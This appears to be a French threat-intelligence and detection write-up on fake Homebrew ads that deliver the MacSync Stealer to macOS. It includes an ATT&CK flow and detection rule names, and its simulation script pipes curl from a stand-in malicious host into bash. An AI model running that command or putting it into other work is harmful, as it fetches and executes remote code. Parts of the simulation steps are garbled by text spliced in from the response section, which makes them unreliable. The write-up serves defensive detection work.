Fausse publicité Homebrew mène à une infection par MacSync Stealer
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Les attaquants utilisent des publicités de recherche malveillantes pour diriger les utilisateurs vers un faux site web Homebrew qui cible les systèmes macOS avec le MacSync Stealer. La page usurpée instruit les victimes à copier et exécuter une commande shell qui télécharge et lance le malware. Une fois actif, le stealer collecte des identifiants et des détails système, compresse les données volées dans une archive ZIP, et les envoie à un serveur de commande et de contrôle. La campagne souligne l’utilisation croissante de la malvertising pour compromettre les utilisateurs macOS.
Enquête
L’analyste a retracé l’attaque depuis l’annonce malveillante jusqu’à une page Homebrew usurpée hébergée sur Google Sites. Cette page présentait un zsh commande qui, une fois exécutée, télécharge des scripts supplémentaires depuis une infrastructure contrôlée par l’attaquant et crée une archive ZIP temporaire contenant les données collectées. Le trafic réseau a confirmé que l’archive a été exfiltrée vers le domaine glowmedaesthetics.com. Les chercheurs ont documenté les indicateurs pertinents, y compris les URL, domaines et chemins de fichiers liés à la chaîne d’infection.
Atténuation
Les utilisateurs devraient éviter de copier et exécuter des commandes depuis des sites web non fiables et devraient vérifier la légitimité des pages de gestionnaires de paquets avant d’interagir avec elles. Les extensions de navigateur centrées sur la sécurité ou le blocage des publicités peuvent aider à réduire l’exposition aux liens sponsorisés malveillants. Sur macOS, Gatekeeper devrait rester activé et l’exécution d’applications devrait être limitée aux logiciels de confiance et signés. Les défenseurs doivent également surveiller le trafic sortant pour les connexions à des domaines inconnus.
Réponse
Les équipes de sécurité devraient détecter l’exécution de la zsh commande suspecte et toute activité de curl atteignant l'URL malveillante identifiée. Des alertes devraient également être générées pour la création de l' activity reaching the identified malicious URL. Alerts should also be generated for creation of the /tmp/osalogging.zip archive et pour le trafic sortant vers glowmedaesthetics.com. Si une infection est suspectée, isolez le système affecté, recueillez les preuves forensiques, et réinitialisez tous les identifiants compromis.
"graph TB %% Class Definitions classDef technique fill:#99ccff %% Node definitions initial_malicious_link["<b>Technique</b> – <b>T1204.001 Lien Malveillant</b><br/><b>Description</b>: La victime clique sur une URL malveillante dans une annonce et est dirigée vers une page de téléchargement Homebrew contrefaite."] class initial_malicious_link technique user_copy_paste["<b>Technique</b> – <b>T1204.004 Copie et Collage Malveillants</b><br/><b>Description</b>: La victime copie un script élaboré depuis la page web et le colle dans le Terminal, exécutant le code de l’attaquant."] class user_copy_paste technique unix_shell["<b>Technique</b> – <b>T1059.004 Unix Shell</b><br/><b>Description</b>: Le script Zsh s’exécute, téléchargeant une charge utile supplémentaire depuis glowmedaesthetics.com."] class unix_shell technique gui_input_capture["<b>Technique</b> – <b>T1056.002 Capture d’Entrée GUI</b><br/><b>Description</b>: Une fausse invite de mot de passe graphique capture le mot de passe de l’utilisateur macOS."] class gui_input_capture technique local_data_staging["<b>Technique</b> – <b>T1074.001 Mise en Scène des Données Locales</b><br/><b>Description</b>: Les informations système et les journaux sont archivés dans /tmp/osalogging.zip pour une exfiltration ultérieure."] class local_data_staging technique exfiltration_c2["<b>Technique</b> – <b>T1041 Exfiltration sur Canal C2</b><br/><b>Description</b>: Le fichier zip est envoyé au serveur C2 de l’attaquant via HTTPS."] class exfiltration_c2 technique gather_software_info["<b>Technique</b> – <b>T1592.002 Logiciel</b><br/><b>Description</b>: Le script énumère les logiciels installés pour constituer un inventaire de l’hôte victime."] class gather_software_info technique data_local_system["<b>Technique</b> – <b>T1005 Données du Système Local</b><br/><b>Description</b>: Lit des fichiers locaux supplémentaires pour inclure dans l’archive exfiltrée."] class data_local_system technique %% Connections initial_malicious_link –>|leads_to| user_copy_paste user_copy_paste –>|leads_to| unix_shell unix_shell –>|leads_to| gui_input_capture gui_input_capture –>|leads_to| local_data_staging local_data_staging –>|leads_to| exfiltration_c2 local_data_staging –>|also leads_to| gather_software_info local_data_staging –>|also leads_to| data_local_system "
Flux d’Attaque
Détections
Possibles Manipulations de Chaînes Encodées en Base64 [MacOS] (via cmdline)
Voir
Archive Créée dans le Dossier Temporaire MacOS (via file_event)
Voir
IOCs (HashSha256) pour détecter : Annonce Malveillante pour Homebrew Mène à MacSync Stealer
Voir
Détection de l’Installation de MacSync Stealer via une Page Homebrew Fausse [Création de Processus Linux]
Voir
Exécution de Simulation
Prérequis : La Vérification de Pré-vol de la Télémétrie & Baseline doit avoir été réussie.
Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narratif de l’Attaque & Commandes :
-
Leurre Initial : La victime reçoit un email de phishing contenant un lien vers une page “tap” Homebrew contrefaite qui héberge un script d’installation malveillant.
-
Exécution : La victime copie la commande d’une ligne depuis la page et la colle dans son terminal :
curl -fsSL https://malicious.example.com/macsyncloader.sh | /bin/bash- The
activité de curl atteignant l'URL malveillante identifiée. Des alertes devraient également être générées pour la création de l'le binaire est invoqué (correspond à la règle).
- The
-
Script de Téléchargement (
macsyncloader.sh):- Télécharge la charge utile MacSync via
activité de curl atteignant l'URL malveillante identifiée. Des alertes devraient également être générées pour la création de l'. - Écrit la charge utile dans
/tmp/.macsyncet l’exécute. - Fait apparaître des dialogues de vol d’identifiants (simulé via
osascriptsur macOS, mais ici nous faisons simplement un echo).
- Télécharge la charge utile MacSync via
-
Persistance : Le script enregistre un LaunchAgent pour s’exécuter à la connexion (hors du cadre de la règle actuelle mais pertinent pour une détection plus large).
-
-
Script de Test de Régression : Le script Bash suivant reproduit exactement les étapes, garantissant que la télémétrie s’aligne avec la logique de détection.
#!/usr/bin/env bash set -euo pipefail # ------------------------------------------------- # Simulated attacker-controlled script host # ------------------------------------------------- MALICIOUS_HOST="https://malicious.example.com" LOADER="${MALICIOUS_HOST}/macsyncloader.sh" # ------------------------------------------------- # Step 1: Download and execute the malicious loader # ------------------------------------------------- echo "[*] Déclenchement de la règle de détection en invoquant curl ..." curl -fsSL "$LOADER" | /bin/bash # ------------------------------------------------- # Step 2: (Inside the loader) – Simulated payload # ------------------------------------------------- # The loader would normally be fetched from the remote host. # For the purpose of this test we embed the payload inline. cat <<'PAYLOAD' > /tmp/.macsync #!/usr/bin/env bash echo "Charge utile MacSync exécutée – exfiltration des infos de l'hôte..." # Simulate credential grab (no real data) echo "Identifiants collectés : user@example.com / password123" PAYLOAD chmod +x /tmp/.macsync /tmp/.macsync echo "[*] Simulation complète." -
Commandes de Nettoyage : Supprimez les artefacts et terminez tous les processus en cours.
#!/usr/bin/env bash set -euo pipefail echo "[*] Nettoyage des artefacts de simulation ..." rm -f /tmp/.macsync # Aucun service persistant n'a été créé lors de ce test echo "[*] Nettoyage terminé."